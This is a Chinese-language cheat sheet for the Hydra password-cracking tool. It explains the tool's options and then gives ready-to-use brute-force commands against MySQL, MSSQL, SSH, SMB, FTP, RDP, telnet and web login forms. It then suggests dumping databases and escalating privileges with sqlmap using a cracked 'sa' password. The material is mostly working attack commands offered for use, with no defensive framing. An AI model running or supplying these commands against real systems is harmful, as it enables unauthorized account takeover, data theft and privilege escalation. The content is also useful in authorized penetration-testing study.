1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| 1,Hydra相关参数 -l LOGIN 指定破解的用户名称,对特定用户破解。 -L FILE 从文件中加载用户名进行破解。 -p PASS小写p指定密码破解,少用,一般是采用密码字典。 -P FILE 大写字母P,指定密码字典。 -e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。 -C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。 -t TASKS 同时运行的连接的线程数,每一台主机默认为16。 -M FILE 指定服务器目标列表文件一行一条 -w TIME 设置最大超时的时间,单位秒,默认是30s。 -o FILE 指定结果输出文件。 -f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。 -v / -V 显示详细过程。 -R 继续从上一次进度接着破解。 -S 采用SSL链接。 -s PORT 可通过这个参数指定非默认端口。 -U 服务模块使用细节 -h 更多的命令行选项(完整的帮助) server 目标服务器名称或者IP(使用这个或-M选项) service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
OPT 一些服务模块支持额外的输入(-U用于模块的帮助)
2,Hydra用法案例 ~打开方式: ~图形化界面:xhydra ~命令行打开:hydra 推荐用命令行直接搞 ~破解MySQL密码 扩展: 数据库一般会提供一个默认的帐户,SQL Server的sa用户,MySQL的root用户,Oracle的System用户等。 场景:假如我们现在破解mysql数据库 步骤: ~hadry -L user.txt -P pass.txt ip mysql ~hydra -L user.txt -P pass.txt mysql://目标IP:mysql端口号 场景:如果需要将爆破的过程打印出来就加个指令-v 实例:hydra -L username.txt -P password.txt -v mysql://目标IP:mysql端口号 说明: 成功后会打印类似如下的信息: [1433][mssql] host:ip login:sa password:sqladmin 问:得到mysql的密码后一般都干什么? ~脱库 ~提权 如果破解数据库的密码为sqladmin,可以利用sqlmap进一步来反弹一个与系统交互的Shell用来提权。命令为: sqlmap.py -d "mssql://sa:sqladmin@ip:1433/master" ~破解ssh hydra -l 用户名 -P 密码字典 -t 线程 -vV -e ns ip ssh hydra -l 用户名 -P 密码字典 -t 线程 -o save.log -vV ip ssh 命令详细: 攻击目标:192.168.1.113 使用的模块:ssh 爆破用户名:root(-l) 使用的密码字典:/root/passwd.txt (-P) 爆破线程数:6 (-t) 显示详细信息 (-V) 爆破成功一个后停止 (-f) ~windows密码破解 hydra -l 用户名 -p 密码 smb://ip -vV<br>或者<br>hydra -l 用户名 -p 密码 smb ip –vV
~破解ftp hydra ip ftp -l 用户名 -P 密码字典 -t 线程数(默认16) –vV 如果你发现目标ftp并不是在21端口,而是在其他端口上,可以使用-s参数指定正确的端口,其他服务同样如此。
~破解rdp hydra ip rdp -l administrator -P pass.txt –V ===若是不可以用,记得更新一下hydra
~破解telnet hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f –V
~破解https hydra -m /index.php -l muts -P pass.txt ip https
~get方式提交 破解web登录 hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /web/
~post方式提交 破解web登录 hydra -l 用户名 -P 密码字典 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" -V
注意:但是表单爆破推荐burp,hydra太过鸡肋
|